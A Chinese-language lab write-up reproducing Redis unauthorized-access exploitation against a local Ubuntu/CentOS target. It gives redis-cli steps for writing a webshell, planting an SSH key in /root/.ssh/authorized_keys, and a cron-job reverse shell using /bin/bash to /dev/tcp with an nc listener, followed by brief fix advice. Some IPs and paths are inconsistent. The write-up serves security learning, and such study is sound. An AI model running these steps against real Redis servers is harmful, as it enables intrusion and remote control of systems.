Redis未授权访问漏洞复现
漏洞复现
攻击机 | kali | ip:192.168.70.140 |
---|---|---|
靶机 | Ubuntu 16.04 | ip:192.168.70.133 |
一、环境搭建
1、下载安装redis
wgethttp://download.redis.io/releases/redis-3.2.11.tar.gz
2、 解压压缩包
tarzxvfredis-3.2.11.tar.gz。
3、进入解压目录redis-3.2.11 执行make命令
4、 进入src目录 cd redis-3.2.11/src
5、将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:
使用/etc/目录下的reids.conf文件中的配置启动redis服务:
6、编辑etc中的redis配置文件redis.conf
去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉
关闭保护模式,允许远程连接redis服务将yes 改为no
二、利用方式
写入webshell
测试目标靶机是否存在未授权访问,下面靶机存在未授权访问
1.远程连接redis
2.在靶机写入cs.php文件
我们将shell写入/home/ubuntus/cs目录下
save保存
3.在靶机查看,有cs.php文件,shell写入完成
如果写入网站服务的路径下,后续可以使用工具连接shell
通过写入SSH公钥实现ssh登录
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key
1、首先在攻击机(kali)上生成ssh公钥
进入.ssh目录:cd.ssh/
2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)
(echo -e”\n”;cat id_rsa.pub;echo -e “\n”)>key.txt
3.将key.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat key.txt|redis-cli -h 192.168.70.133 -x set crack
4.远程登录靶机的Redis服务,redis-cli -h 192.168.70.140
5.更改redis备份路径为ssh公钥存放目录
6.设置上传公钥的备份文件名字为authorized_keys
save保存
7.在攻击机上直接ssh免密登录靶机,免密登录成功
nc反弹
目标计为centos
在攻击机(kali)执行 nc -v -l -p 9999 监听
连接目标主机:redis-cli -h 192.168.70.140
写入shell并保存
set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename root
save
客户端会收到目标机的反弹shell。**在ubuntu测试计划任务写入成功但不执行
config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面
set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”
//直接往当前用户的crontab里写入反弹shell,换行也是必须的
三、修复建议
1.禁止一些高危命令
2.以低权限运行 Redis 服务
3.禁止外网访问 Redis